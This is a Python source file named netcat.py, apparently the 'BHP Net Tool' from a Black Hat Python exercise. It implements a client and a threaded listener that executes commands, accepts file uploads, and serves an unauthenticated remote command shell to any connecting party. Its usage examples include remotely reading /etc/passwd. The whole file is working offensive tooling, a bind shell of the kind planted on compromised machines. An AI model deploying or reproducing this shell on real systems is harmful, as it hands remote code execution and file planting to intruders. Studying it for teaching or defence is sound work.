netcat.py

import argparse
import socket
import shlex
import subprocess
import sys
import textwrap
import threading

class NetCat:
    def __init__(self,args,buffer=None):
        self.args = args
        self.buffer = buffer
        self.socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)

    def run(self):
        if self.args.listen:
            self.listen()
        else:
            self.send()
    
    def send(self):
        self.socket.connect((self.args.target,self.args.port))
        if self.buffer:
            self.socket.send(self.buffer)
        try:
            while True:
                recv_len = 1
                response = ''
                while recv_len:
                    data = self.socket.recv(4096)
                    recv_len = len(data)
                    response +=data.decode()
                    if recv_len < 4096:
                        break
                if response:
                    print(response)
                    buffer = input('> ')
                    buffer += '\n'
                    self.socket.send(buffer.encode())
        except KeyboardInterrupt:
            print('User terminatedd.')
            self.socket.close()
            sys.exit()
    
    def listen(self):
        self.socket.bind((self.args.target,self.args.port))
        self.socket.listen(5)
        while True:
            client_socket, _ = self.socket.accept()
            client_thread = threading.Thread(
                target=self.handler, args=(client_socket,)
                )
            client_thread.start()
    
    def handler(self,client_socket):
        if self.args.execute:
            output = execute(self.args.execute)
            client_socket.send(output.encode())
        elif self.args.upload:
            file_buffer = b''
            while True:
                data = client_socket.recv(4096)
                if data:
                    file_buffer += data
                else:
                    break
            with open(self.args.upload, 'wb') as f:
                f.write(file_buffer)
            message = f'Saved file {self.args.upload}'
            client_socket.send(message.encode())
        elif self.args.command:
            cmd_buffer = b''
            while True:
                try:
                    client_socket.send(b'BHP: #>')
                    while '\n' not in cmd_buffer.decode():
                        cmd_buffer += client_socket.recv(64)
                    response = execute(cmd_buffer.decode())
                    if response:
                        client_socket.send(response.encode())
                    cmd_buffer = b''
                except Exception as e:
                    print(f'server killed {e}')
                    self.socket.close()
                    sys.exit()


def execute(cmd):
    cmd = cmd.strip()
    if not cmd:
        return
    output = subprocess.check_output(shlex.split(cmd),stderr=subprocess.STDOUT)
    return output.decode()

if __name__ == '__main__':
    parser = argparse.ArgumentParser(
        description ='BHP Net Tool',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog=textwrap.dedent('''Example:
                               netcat.py -t 192.168.0.1 -p 5555 -l -c #command shell
                               netcat.py -t 192.168.0.1 -p 5555 -l -u=mytest.txt #upload to file
                               netcat.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\" # execute command
                               echo 'ABC' | ./netcat.py -t 1992.168.0.1 -p 135 # echo text to server port 135
                               netcat.py -t 192.168.0.1 -p 5555 # connect to server
'''))
    parser.add_argument('-c','--command',action='store_true',help='command shell')
    parser.add_argument('-e','--execute',help='execute specified command')
    parser.add_argument('-l','--listen',action='store_true',help='listen')
    parser.add_argument('-p','--port',type=int,default=5555,help='specified port')
    parser.add_argument('-t','--target',default='192.168.0.101',help='specified IP')
    parser.add_argument('-u','--upload',help='upload file')
    args = parser.parse_args()

    if args.listen:
        buffer = ''
    else:
        buffer = sys.stdin.read()
    
    nc = NetCat(args,buffer.encode())
    nc.run()